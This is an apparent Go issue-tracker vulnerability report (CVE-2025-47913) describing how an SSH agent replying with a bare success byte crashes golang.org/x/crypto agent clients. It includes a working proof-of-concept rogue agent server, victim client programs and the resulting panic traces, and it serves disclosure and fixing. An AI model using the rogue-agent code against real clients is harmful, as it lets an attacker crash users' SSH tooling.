Go version
go1.25.0
Output of go env
in your module/workspace:
GOVERSION='go1.25.0'
What did you do?
Note: This was reported on security@golang.org and a PUBLIC track was assigned.
This is confirmed to happen in golang.org/x/crypto <= v0.41.0
Summary
The agent client crashes if a peer replies SSH_AGENT_SUCCESS (byte 6, the protocol’s generic success reply) to requests that expect typed responses. The unmarshal layer converts 0x06 into a successAgentMsg, but the client methods only handle the specific success types (e.g., identitiesAnswerAgentMsg, signResponseAgentMsg) or failureAgentMsg. Any other type falls through to panic("unreachable").
A malicious or buggy agent can therefore terminate the client process with a single, well-formed one-byte reply.
PoC 1 — Crash List() (and therefore Signers())
Server (replies SUCCESS to any request):
package main
import (
"encoding/binary"
"fmt"
"net"
)
func main() {
ln, err := net.Listen("tcp", "127.0.0.1:9999")
if err != nil { panic(err) }
fmt.Println("agent listening on 127.0.0.1:9999")
for {
c, err := ln.Accept()
if err != nil { panic(err) }
go handle(c)
}
}
func handle(c net.Conn) {
defer c.Close()
var hdr [4]byte
if _, err := c.Read(hdr[:]); err != nil { return }
n := binary.BigEndian.Uint32(hdr[:])
if n == 0 || n > 1<<24 { return }
buf := make([]byte, n)
if _, err := c.Read(buf); err != nil { return }
resp := []byte{6} // SSH_AGENT_SUCCESS
var out [4]byte
binary.BigEndian.PutUint32(out[:], uint32(len(resp)))
c.Write(out[:])
c.Write(resp)
}
Victim client (List):
package main
import (
"fmt"
"net"
"golang.org/x/crypto/ssh/agent"
)
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:9999")
if err != nil { panic(err) }
ag := agent.NewClient(conn)
fmt.Println("calling List() — expect panic in agent/client.go")
_, _ = ag.List() // panics: "unreachable"
}
This results in:
panic: unreachable
goroutine 1 [running]: golang.org/x/crypto/ssh/agent.(*client).List(0x1005a6008 /Users/jakubciolek/go/pkg/mod/golang.org/x/crypto@v0.41.0/ssh/agent/client.go:434 +0x184 main.main()
Victim client: Sign (reuse the same server)
package main
import (
"crypto/ed25519"
"crypto/rand"
"net"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/agent"
)
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:9999")
if err != nil { panic(err) }
ag := agent.NewClient(conn)
_, pub, _ := ed25519.GenerateKey(rand.Reader)
sshPub, _ := ssh.NewPublicKey(pub)
_, _ = ag.Sign(sshPub, []byte("hello")) // panics: "unreachable"
}
This results in:
panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x2 addr=0x18 pc=0x1050b0ef8]
goroutine 1 [running]: golang.org/x/crypto/ssh/agent.(*client).SignWithFlags(0x1400000c390 /Users/jakubciolek/go/pkg/mod/golang.org/x/crypto@v0.41.0/ssh/agent/client.go:445 +0x38 golang.org/x/crypto/ssh/agent.(*client).Sign(.. /Users/jakubciolek/go/pkg/mod/golang.org/x/crypto@v0.41.0/ssh/agent/client.go:440 main.main()
What did you see happen?
Panics on client interaction with prepared server.
What did you expect to see?
Client survives those interactions.
Comment From: gabyhelp
Related Issues
- x/crypto/ssh: Corrupting a byte of a clients private key results in panic, rather than authorization failure #42014 (closed)
- x/crypto/ssh: Server panic on invalid input #11348 (closed)
- x/crypto/ssh: SignWithAlgorithm for agentKeyringSigner fails for keys carrying cert algorithm name #52930 (closed)
- x/crypto/ssh: improve error message on missing AuthMethod #33210 (closed)
- crypto/x509: FetchPEMRoots in CGO crashed with signal SIGSEGV when using http.Client.Do() on https URL #30889 (closed)
- net/http: Segmentation violation when using an IPSec VPN Tunnel (Go 1.19.8/Go 1.20.4/Go 1.21.4) #64020
- x/crypto/ssh: Possible to pass nil publicKeyCallback signer #20441 (closed)
- x/crypto/ssh: agent-based ecdsa certs no longer work #52185 (closed)
- x/crypto/ssh: Dial function with ClientConfig Timeout got stuck #46536 (closed)
- x/crypto/ssh: SSH handshake fails over some net.Conn implementations (ex. net.Pipe) #32990
(Emoji vote if this was helpful or unhelpful; more detailed feedback welcome in this discussion.)
Comment From: cherrymui
cc @drakkan @golang/security
Comment From: gopherbot
Change https://go.dev/cl/700295 mentions this issue: ssh/agent: return an error for unexpected message types
Comment From: thatnealpatel
This is CVE-2025-47913.
Comment From: aep-sunlife
when will we see a release version with a patch?